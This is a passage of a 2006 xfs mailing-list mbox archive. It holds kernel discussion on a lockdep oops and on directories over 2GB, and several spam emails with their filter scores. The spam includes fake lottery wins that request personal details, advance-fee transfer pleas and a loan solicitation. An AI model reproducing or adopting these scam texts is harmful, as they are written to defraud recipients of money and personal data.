Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 04:23:47 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 9 Oct 2006 04:23:46 -0700 Message-ID: Received: from 69.45.64.99 by by12fd.bay12.hotmail.msn.com with HTTP; Mon, 09 Oct 2006 11:23:43 GMT X-Originating-IP: [194.151.76.19] X-Originating-Email: [hansanita146@hotmail.com] X-Sender: hansanita146@hotmail.com From: "anita hans" Bcc: X-ASG-Orig-Subj: INORBIT CHARITY PROMOTIONS BV Subject: INORBIT CHARITY PROMOTIONS BV Date: Mon, 09 Oct 2006 13:23:43 +0200 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 09 Oct 2006 11:23:46.0364 (UTC) FILETIME=[629B57C0:01C6EB95] X-Barracuda-Spam-Score: 3.03 X-Barracuda-Spam-Status: No, SCORE=3.03 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MISSING_HEADERS, SARE_FRAUD_X3, TO_CC_NONE, UPPERCASE_75_100 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22887 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.04 UPPERCASE_75_100 message body is 75-100% uppercase 1.67 SARE_FRAUD_X3 Matches 3+ phrases commonly used in fraud spam 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9222 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: hansanita146@hotmail.com Precedence: bulk X-list: xfs Status: O INORBIT CHARITY PROMOTIONS BV MAXHAVELASTRAAT 522C, 3046TG ROTTERDAM THE NETHERLANDS WINNING NOTIFICATION REF NO; AIF61693628-09 DEAR SIR/MADAM, SEQUEL TO THE ANNUAL PROMOTION DRAW OF THE ABOVE NAMED ESTABLISHMENT IN EUROPE, CONDUCTED ON THE 7TH OF OCTOBER 2006. I AM GLAD TO NOTIFY YOU THAT YOUR E-MAIL ADDRESS ATTACHED TO TICKET NUMBER 40338522CH WON IN THE THIRD CATEGORY A LUMP-SUM OF EIGHT HUNDRED AND FIFTY THOUSAND DOLLARS (USD 850,000;00). CONGRATULATIONS AND BE ADVISED TO KEEP CONFIDETIAL TILL YOUR PRIZE IS PROCESSED TO AVOID MULTIPLE APPLICATIONS/FILLINGS. ALL PARTICIPANTS WERE SELECTED RANDOMLY BY A COMPUTER SOFTWARE BALLOT DEVICE. THIS PROMOTION IS SPONSORED BY A GROUP OF CORPORATE ESTABLISHMENT AND ACCREDITED CHARITABLE ORGANIZATIONS IN EUROPE. BE INFORMED THAT A MINIMUM OF 20% OF YOUR PRIZE MUST BE DONATED TO A REMARKABLE CHARITY ORGANIZATION IN YOUR LOCALITY OR ANY WHERE IN THE WORLD. TO FILE FOR YOUR CLAIM, PLEASE CONTACT YOUR FIDUCIAL AGENT; MRS. JULIANA VAN DIJK. INORBIT CONSULTANT 11 E-MAIL; (dijkjuliana2@Inorbit.com) or (dijkjuliana@linq.nl). CONGRATULATIONS ONCE MORE, SINCERELY YOURS MRS ANITA HANS NB; KINDLY STATE YOUR REF AND TICKET NUMBERS WHEN FILLING FOR YOUR CLAIM. _________________________________________________________________ Play online games with your friends with Messenger http://www.join.msn.com/messenger/overview From owner-xfs@oss.sgi.com Mon Oct 9 08:08:23 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 08:08:31 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k99F8LaG008658 for ; Mon, 9 Oct 2006 08:08:22 -0700 X-ASG-Debug-ID: 1160402267-4550-538-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 36FE64D8 (198-208-dsl.kielnet.net [89.27.208.198]) by cuda.sgi.com (Spam Firewall) with SMTP id C97E1486CE1 for ; Mon, 9 Oct 2006 06:57:49 -0700 (PDT) Received: from [beat.144.ok] (bogy-144.colloquial.net [appalachia.144]) by chance.buxtehude.net (8.12.10/8.12.8) with ESMTP id h9FCGvlb150 941 for ; Mon, 09 Oct 2006 20:57:49 +0600 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" From: "LaurelsSpiveyhwek@sbcglobal.net" Date: Mon, 09 Oct 2006 17:53:49 +0300 To: xfs@oss.sgi.com X-ASG-Orig-Subj: abrogate Subject: abrogate X-Mailer: Apple Mail (2.552) X-Barracuda-Spam-Score: 2.95 X-Barracuda-Spam-Status: No, SCORE=2.95 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_SC0_0001b, BSF_SC2_SA022 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22893 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.75 BSF_SC0_0001b URI: custom rule SC0_0001b 0.20 BSF_SC2_SA022 Geocities Spam Site X-archive-position: 9223 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: RobbiekLottnfk@sbcglobal.net Precedence: bulk X-list: xfs Status: O Dear Home Owner, Your crd. rating doesn't matter to us. If you own property and need immediate capital to use any way you want or simply want to cutback your monthly payments by a third or more, fill out this simple, secure one minute form for an instant quote. No sensitive information will be asked on the form Don't worry about acceptance, your cr. will not disqualify you we specialize in all kinds of ratings. http://sg.geocities.com/Elsa45_n512/ Regards, Cherry Blevins Approval Manager ________________________________________________ fun stuff: berlitz but bob but alameda on cocktail or champaign a bob the conciliate may barbital or debutante but crystallographer try checksummed it's dempsey see anneal and blip or aver or absentminded in anthracnose see began some castor and ballard or dicta in amos but combatant a cunning and austere on cask may becalm but adjudicate try From owner-xfs@oss.sgi.com Mon Oct 9 08:41:16 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 08:41:26 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k99FfFaG018336; Mon, 9 Oct 2006 08:41:16 -0700 X-ASG-Debug-ID: 1160404804-6471-796-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.libertysurf.net (webmail-out.libertysurf.net [213.36.80.105]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2D00DD1819A3; Mon, 9 Oct 2006 07:40:04 -0700 (PDT) Received: from aliceadsl.fr (192.168.10.81) by mail.libertysurf.net (7.1.026) id 4418315A00241BCE; Mon, 9 Oct 2006 16:26:30 +0200 Date: Mon, 9 Oct 2006 16:26:29 +0200 Message-Id: X-ASG-Orig-Subj: =?iso-8859-1?Q?GESCHAEFTLICHES__ANGEBOT?= Subject: =?iso-8859-1?Q?GESCHAEFTLICHES__ANGEBOT?= MIME-Version: 1.0 X-Sensitivity: 3 Content-Type: text/plain; charset=iso-8859-1 From: "=?iso-8859-1?Q?mang.estate@aliceadsl.fr?=" X-XaM3-API-Version: 3.2 R18 (B34 pl1) X-type: 0 X-SenderIP: 82.169.148.35 X-Barracuda-Spam-Score: 1.62 X-Barracuda-Spam-Status: No, SCORE=1.62 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, TO_CC_NONE, TRACKER_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22891 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.29 TRACKER_ID BODY: Incorporates a tracking ID number 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k99FfGaG018359 X-archive-position: 9224 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: mang.estate@aliceadsl.fr Precedence: bulk X-list: xfs Status: O Dr.J.Hans Hans Estate. 47 Strand Street, Cape Town 8001 South Africa Antwort auf mein privates email address: jeniferhanss@aim.com Guten Tag, ich habe Ihre Kontaktadresse von einem vertrauenswürdigen Bekannten erhalten, dessen Namen ich im Moment nicht nennen möchte erhalten. Ich möchte Ihnen ein, für Sie profitables geschäftliches Angebot unterbreiten. Es handelt sich hierbei um den Transfer von 27.5 Millionen US Dollar . Wie Sie sicher verstehen werden, möchte ich Sie hier um äußerste Diskretion bitten.Mein Name ist Dr.Jennifer Hans. Ich bin die Witwe von Herrn. Michael Hans.Ich wurde in Südafrika geboren, meine Großeltern sind jedoch Österreichischer Herkunft. Mein verstorbener Mann hat das Familienunternehmen seiner Eltern geerbt, darunter mehrere Hotels in Südafrika, Warenhäuser und einige Landwirtschaftliche Betriebe. Ich habe diese zusammen mit meinem Mann, bis zu seinem Tod, am 25. April 2002, geführt und verwaltet. Die Hans Familie (Familie meines Mannes) war beteiligt an der Politik in Südafrika, zu Zeiten der Apartheid. Mein Schwiegervater war Mitglied und ranghoher Offizier der Apartheidsregierung unter Premierminister Hendrik Verwoerd.Vielleicht haben Sie von der Geschichte über Südafrika schon gehört. Ich bedauere es sehr, einen Mann geheiratet zu haben, dessen Familie beteiligt war an so viel Ungerechtigkeit und dem unschuldigen Tod vieler Menschen. Aber ich habe ihn geliebt. Mein Schwiegervater war nicht nur verantwortlich für viele Menschenrechtsverletzungen, er verschwor sich mit einigen seiner Kollegen und erschlich sich so Millionen von Rand vom Innenministerium.Er beendete seine Laufbahn als Offizier mit dem Ende der Apartheid und begann sein Kariere als Geschäftsmann. Er investierte und erwirtschaftete in kürzester Zeit ein beträchtliches Vermögen. Nach unserer Hochzeit, übernahm mein Mann die Geschäfte seines Vaters. Sein großer Traum war es jedoch, Politiker zu werden. Er wurde Mitglied der Oppositionspartei, Demokratic Alliance ( DA ) und unterstützte diese auch finanziell.Die regierende Partei ANC (Nelson Mandela) war nicht glücklich über diese Situation, trat an meinen Mann heran und forderte ihn auf,jede finanzielle Unterstützung einzustellen. Er gab jedoch nicht nach. Im März 2002, erschien ein Artikel in der Guardian Newspaper, in dem die Familie meines Mannes, der Zusammenarbeit mit der Apartheidsregierung beschuldigt wurde. Offenbar eine Aktion des ANC,gegen meinen Mann.Am 25. April 2002, um 4 Uhr Morgens, versammelte sich eine Gruppe von Schwarzen vor unserem Haus und versuchte auf das Grundstück zu gelangen. Wir riefen die Polizei, die jedoch sehr lange auf sich warten ließ. Als mein Mann am Fenster stand wurde er von fünf Gewehrkugeln tödlich getroffen. Er starb noch in meinen Armen bevor die Polizei und der Krankenwagen unser Haus erreicht hatten. Zwei Jahre nach dem schrecklichen Ereignis, bin ich immer noch depressiv, mein Herz ist gebrochen und mein Leben schein zerstört. Ich habe sehr viel Angst. Aus diesem Grund habe ich mich entschlossen, das Land, das mir so viel Kummer und Leid gebracht hat zu verlassen. Ich werde gehen und nie wieder zurückkehren. Ich habe das gesamte Erbe meines Mannes veräußert und verfüge nun über eine beträchtliche Summe von 27.5 Mio. US Dollar. Dieses Geld möchte ich nach Europa senden.Hierfür bitte ich um Ihre freundliche Unterstützung. Ich möchte das Geld investieren und würde auch hierfür um Ihre Hilfe bitten. Für diese freundliche Unterstützung möchte ich Ihnen 15% des Geldes zukommen lassen. Ich hoffe auf Ihre baldige Antwort und verbleibe höflichst: Antwort auf mein privates email address: jeniferhanss@aim.com Dr.Jennifer Hans Hans Group of Companies Ltd Hans Estate. 47 Strand Street, Cape Town 8001 South Africa Antwort auf mein privates email address: jeniferhanss@aim.com --------------------- ALICE SECURITE ENFANTS --------------------- Protégez vos enfants des dangers d'Internet en installant Sécurité Enfants, le contrôle parental d'Alice. http://www.aliceadsl.fr/securitepc/default_copa.asp From owner-xfs@oss.sgi.com Mon Oct 9 10:41:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 10:41:41 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k99HfSaG013071 for ; Mon, 9 Oct 2006 10:41:29 -0700 X-ASG-Debug-ID: 1160411565-21274-352-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from blazecast11.rdns11.net (blazecast11.rdns11.net [70.85.208.82]) by cuda.sgi.com (Spam Firewall) with ESMTP id E466F48DA89 for ; Mon, 9 Oct 2006 09:32:45 -0700 (PDT) Received: from drizzlin by blazecast11.rdns11.net with local (Exim 4.52) id 1GWy2X-0000ij-NT; Mon, 09 Oct 2006 11:31:41 -0500 Received: from 81.199.173.31 ([81.199.173.31]) (SquirrelMail authenticated user kenneth@drizzlinggrizzle.com) by 70.85.208.82 with HTTP; Mon, 9 Oct 2006 16:31:41 -0000 (GMT) Message-ID: <2213.81.199.173.31.1160411501.squirrel@70.85.208.82> Date: Mon, 9 Oct 2006 16:31:41 -0000 (GMT) X-ASG-Orig-Subj: Congratulations, You are a Winner. Subject: Congratulations, You are a Winner. From: "UK National Lottery Board" Reply-To: henryprestn@yahoo.co.uk User-Agent: SquirrelMail/1.4.6 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - blazecast11.rdns11.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [32567 32002] / [47 12] X-AntiAbuse: Sender Address Domain - uknationallottery.co.uk X-Source: /usr/local/cpanel/3rdparty/bin/php X-Source-Args: /usr/local/cpanel/3rdparty/bin/php /usr/local/cpanel/base/3rdparty/squirrelmail/src/compose.php X-Source-Dir: :/base/3rdparty/squirrelmail/src X-Barracuda-Spam-Score: 0.32 X-Barracuda-Spam-Status: No, SCORE=0.32 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22902 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 0.13 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; X-archive-position: 9225 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: onlinepromo@uknationallottery.co.uk Precedence: bulk X-list: xfs Status: O ONLINE NOTIFICATION UNIT. UK NATIONAL ONLINE LOTTERY(HOME OFFICE). 165 FULHAM PALACE ROAD W6 8JB UNITED KINGDOM. REFERENCE NUMBER: UK/839030X2/14 BATCH NUMBER:065/088/XY24 TICKET NUMBER: 023-1111-790-458 OUR REF: 27349/46 WINNING NOTIFICATION:FINAL NOTIFICATION We are pleased to inform you of the final announcement today 9th of October of winners of the UK NATIONAL LOTTERY ONLINE PROMOTION PROGRAMME held on Saturday 7th October,2006. Your ticket number 023-1111-790-458 attached to your email address, with serial number 5073-12 drew the lucky numbers 43-10-42-37-10-43(bonus no.),this lucky number subsequently won you the lottery in the 2nd category. You have therefore been approved for a lump sum pay out of 480,152.00GBP(Four hundred and eighty thousand one hundred and fifty-two Great Britain Pounds) in cash credited to file XYL/26510460037/04. This is from a total cash prize of 3,361,064.00GBP(Three million three hundred and sixty-one thousand and sixty-four Great Britain Pounds) shared equally amongst the first seven (7) lucky winners in this category i.e Match 5 plus bonus. All participants of this online promotion programme were selected randomly from numerous World Wide Web sites through computer draw system and extracted from close to 125,000 unions, associations and corporate bodies listed online. This promotion takes place Quarterly. Please note that your lucky winning number falls within our European booklet representat ive office in the United kingdom as indicated in your play coupon. In view of this,your 480,152.00GBP(Four hundred and eighty thousand one hundred and fifty-two Great Britain Pounds) would be released to you by any of our payment office in the United Kingdom. Your assigned claims agent will immediately commence the process to facilitate the release of your funds as soon as you contact him/her via electronic mail(email) or other options made available to you. For security reasons, you are advised to keep your winning information confidential till your claim is processed and your money remitted to you in whatever manner you deem fit to claim your prize. This is part of our precautionary measure to avoid double claiming and unwarranted abuse of this program. Please be warned. To file for your claim, please contact your assigned agent; Mr. Henry Preston. Representative office. 10 Camelot close Thamesmead. London E280 ES United Kingdom. Tel. +447 011 121 847 Fax. +448 701 344 863 Email: henryprestn@yahoo.co.uk You are required to provide him with the information below for verification purposes: 1. Full Name: 2. Full Address: 3. Sex: 4. Age: 5. Marital Status: 6. Occupation: 7. Nationality: 8. Telephone Number: 9. E-mail Address: 10. E-mail Address Ticket Number: 11. Country of Residence: Note: Any error or information(s) missing in the information requested for verification will be dishonoured and disqualified as abuse to our Policy Terms and Services. You must contact your claims officer not later than 2(two) weeks after this date in order to avoid unnecessary delays and complications. Claims not filed for after this date will be returned as unclaimed. Please remember to quote your reference number in every one of your correspondences with your assigned claims officer. Furthermore, should there be any change of your address, do inform your claims officer as soon as possible. Congratulations once more from all members and staffs of this program. Thank you for being part of our online promotional lottery program. Yours Truly, Stephen Smith. Group Co-ordinator. This is a post-only mailing. Replies to this message are not monitored or answered. From owner-xfs@oss.sgi.com Mon Oct 9 10:59:46 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 10:59:52 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k99HxkaG015049 for ; Mon, 9 Oct 2006 10:59:46 -0700 X-ASG-Debug-ID: 1160416744-31922-450-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id F41D1D18598B for ; Mon, 9 Oct 2006 10:59:04 -0700 (PDT) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k99Hx3wI029438 for ; Mon, 9 Oct 2006 13:59:03 -0400 Received: from pobox-2.corp.redhat.com (pobox-2.corp.redhat.com [10.11.255.15]) by int-mx1.corp.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k99Hx3x9017030 for ; Mon, 9 Oct 2006 13:59:03 -0400 Received: from [10.15.80.10] (neon.msp.redhat.com [10.15.80.10]) by pobox-2.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k99Hx0Op024515 for ; Mon, 9 Oct 2006 13:59:02 -0400 Message-ID: <452A8DE2.4000608@sandeen.net> Date: Mon, 09 Oct 2006 12:58:58 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: xfs@oss.sgi.com X-ASG-Orig-Subj: xfs vs. lockdep Subject: xfs vs. lockdep Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22903 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9226 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O FC6 kernels are oopsing when lockdep & memory debugging are turned on, looks like due to this code: xfs_ireclaim(xfs_inode_t *ip) { ... /* * Here we do a spurious inode lock in order to coordinate with * xfs_sync(). This is because xfs_sync() references the inodes * in the mount list without taking references on the corresponding * vnodes. We make that OK here by ensuring that we wait until * the inode is unlocked in xfs_sync() before we go ahead and * free it. We get both the regular lock and the io lock because * the xfs_sync() code may need to drop the regular one but will * still hold the io lock. */ xfs_ilock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); ... /* * Free all memory associated with the inode. */ xfs_idestroy(ip); } So, lock & free. This frees memory that lockdep is still pointing to, and tries to use later. Calling xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); just before xfs_idestroy seems to solve it, but is this safe...? -Eric From owner-xfs@oss.sgi.com Mon Oct 9 11:31:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 11:31:33 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k99IVTaG018273 for ; Mon, 9 Oct 2006 11:31:30 -0700 X-ASG-Debug-ID: 1160414178-11342-459-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bay0-omc2-s33.bay0.hotmail.com (bay0-omc2-s33.bay0.hotmail.com [65.54.246.169]) by cuda.sgi.com (Spam Firewall) with ESMTP id D8CE848D1F1 for ; Mon, 9 Oct 2006 10:16:18 -0700 (PDT) Received: from hotmail.com ([65.54.185.20]) by bay0-omc2-s33.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 10:16:01 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 9 Oct 2006 10:15:55 -0700 Message-ID: Received: from 196.201.95.213 by by15fd.bay15.hotmail.msn.com with HTTP; Mon, 09 Oct 2006 17:15:50 GMT X-Originating-IP: [196.201.95.213] X-Originating-Email: [gebu76@hotmail.fr] X-Sender: gebu76@hotmail.fr Reply-To: genevievebuba1111@yahoo.it From: "genevieve buba" To: gebu76@hotmail.fr X-ASG-Orig-Subj: From: Genevieve Buba Subject: From: Genevieve Buba Date: Mon, 09 Oct 2006 19:15:50 +0200 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed X-OriginalArrivalTime: 09 Oct 2006 17:15:55.0503 (UTC) FILETIME=[948E17F0:01C6EBC6] X-Barracuda-Spam-Score: 2.59 X-Barracuda-Spam-Status: No, SCORE=2.59 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, ADVANCE_FEE_2, MAILTO_TO_SPAM_ADDR, SARE_FRAUD_X3 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22902 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.65 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419) 1.67 SARE_FRAUD_X3 Matches 3+ phrases commonly used in fraud spam 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9227 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: gebu76@hotmail.fr Precedence: bulk X-list: xfs Status: O From: Genevieve Buba PLEASE CONTACT ME THROUGH THIS MAIL (genevievebuba1111@yahoo.it) ATT. CONFIDENTIAL I know very well that you will be surprise to receive this mail from a total stranger like me, please don't be offended it is my present condition that waranted me to contact you. How are you, your family and business? I hope everything is in particular. I am Genevieve Buba daughter and the only child of the late DR. JERRY Buba of Free Town,Sierra Leone. I am a young girl of 19 years, My late father Dr. Jerry Buba was the Managing Director (MD) of a company in Ivory Coast.During the time of his service he was a very devoted and God fearing person;this cause his fellow staff to hate him because he always refuse to collaborate with them in doing evil. So one sunny Tuesday evening when I was coming back with my dad from shopping in his own private car we ran into bandits who were totally armed they trace us till we reach home,there they attack us, my father pleaded with them to take everything he has and spare his life, they took everything and also shot him three times on his chest they also shot me but to the glory of God I survived the gun shots but my father died in cold blood. How I was admitted in the hospital I don't know but I found myself on the hospital bed after two weeks of the incident when I re-gain conciouse. But why I contacted you is because I want to start a new life outside Africa and also when I went to the company where my father was working before his untimely death in Cote d'Ivoire which is located in west side of Africa they told me that my father's garantuite and all the money the company is owning him about Euro5,200,000.00 is still remain unpaid, and that since I am at a tender age that I should get somebody related to me who will sign an attestation letter on my behalf so that they can pay me the money through him/her. So as things is now I don't want to go and get any of my kinsmen as that will also give them the access to claim the money as I can see that it is now the only thing God has for me to start life again. If I have found favour in your eye I will like you to come and sign the attestation and also give them your account so that they can pay the money into it. While I will prepare to come over your country and meet you there to start a new life again. If you can do it please send your telephone and fax numbers so that i can submit it to the company. let me know as I am waiting to hear from you soon,respond to my private email (genevievebuba1111@yahoo.it) Thanks and Remain bless, Genevieve Buba _________________________________________________________________ Windows Live Spaces : créez votre Space à votre image ! http://www.msn.fr/spaces/ From owner-xfs@oss.sgi.com Mon Oct 9 16:07:57 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 16:08:01 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k99N7vaG013392 for ; Mon, 9 Oct 2006 16:07:57 -0700 X-ASG-Debug-ID: 1160430804-8064-845-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx2.quantum.com (mx2.quantum.com [146.174.252.112]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4E3B1486FD3 for ; Mon, 9 Oct 2006 14:53:24 -0700 (PDT) Received: from ppoq3mim2.QUANTUM.COM (imcq32.quantum.com [10.50.4.172]) by mx2.quantum.com (Switch-3.1.7/Switch-3.1.7) with ESMTP id k99Lc67G007211; Mon, 9 Oct 2006 15:38:24 -0600 Received: from ppoq3mim3.QUANTUM.COM ([10.50.4.218]) by ppoq3mim2.QUANTUM.COM with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 15:53:05 -0600 Received: from MAIL01HQ.adic.com ([172.16.9.27]) by ppoq3mim3.QUANTUM.COM with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 15:53:05 -0600 Received: from [172.16.82.67] ([172.16.82.67]) by MAIL01HQ.adic.com with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 14:53:03 -0700 Message-ID: <452AC4BE.6090905@xfs.org> Date: Mon, 09 Oct 2006 16:53:02 -0500 From: Steve Lord User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Directories > 2GB Subject: Re: Directories > 2GB References: <20061004165655.GD22010@schatzie.adilger.int> In-Reply-To: <20061004165655.GD22010@schatzie.adilger.int> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 09 Oct 2006 21:53:04.0003 (UTC) FILETIME=[4BE9D530:01C6EBED] X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22917 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9228 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lord@xfs.org Precedence: bulk X-list: xfs Status: O Andreas Dilger wrote: > For ext4 we are exploring the possibility of directories being larger > than 2GB in size. For ext3/ext4 the 2GB limit is about 50M files, and > the 2-level htree limit is about 25M files (this is a kernel code and not > disk format limit). > > Amusingly (or not) some users of very large filesystems hit this limit > with their HPC batch jobs because they have 10,000 or 128,000 processes > creating files in a directory on an hourly basis (job restart files, > data dumps for visualization, etc) and it is not always easy to change > the apps. > > My question (esp. for XFS folks) is if anyone has looked at this problem > before, and what kind of problems they might have hit in userspace and in > the kernel due to "large" directory sizes (i.e. > 2GB). It appears at > first glance that 64-bit systems will do OK because off_t is a long > (for telldir output), but that 32-bit systems would need to use O_LARGEFILE > when opening the file in order to be able to read the full directory > contents. It might also be possible to return -EFBIG only in the case > that telldir is used beyond 2GB (the LFS spec doesn't really talk about > large directories at all). > My first thought is to run screaming for the hills when user's want this. In a previous life we had a customer in the US Gov who decided to put all their 700 million files in one directory. Then they had a double disk unreported raid failure (raid vendors fault). The filesystem repair ran for 7 days and a heck of a lot of files ended up in lost+found. Fortunately they had the huge amount of memory and process address space available to run repair. Anyone who does this and has any sense does not allow any sort of scanning of the namespace (i.e. anything using readdir). You tend to run out of process address space before you have read the directory. You might want to think about keeping the directory a little more contiguous than individual disk blocks. XFS does have code in it to allocate the directory in chunks larger than a single file system block. It does not get used on linux because the code was written under the assumption you can see the whole chunk as a single piece of memory which does not work to well in the linux kernel. Steve From owner-xfs@oss.sgi.com Mon Oct 9 16:36:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 16:37:00 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k99NanaG021117 for ; Mon, 9 Oct 2006 16:36:51 -0700 Received: from [134.14.55.89] (soarer.melbourne.sgi.com [134.14.55.89]) by larry.melbourne.sgi.com 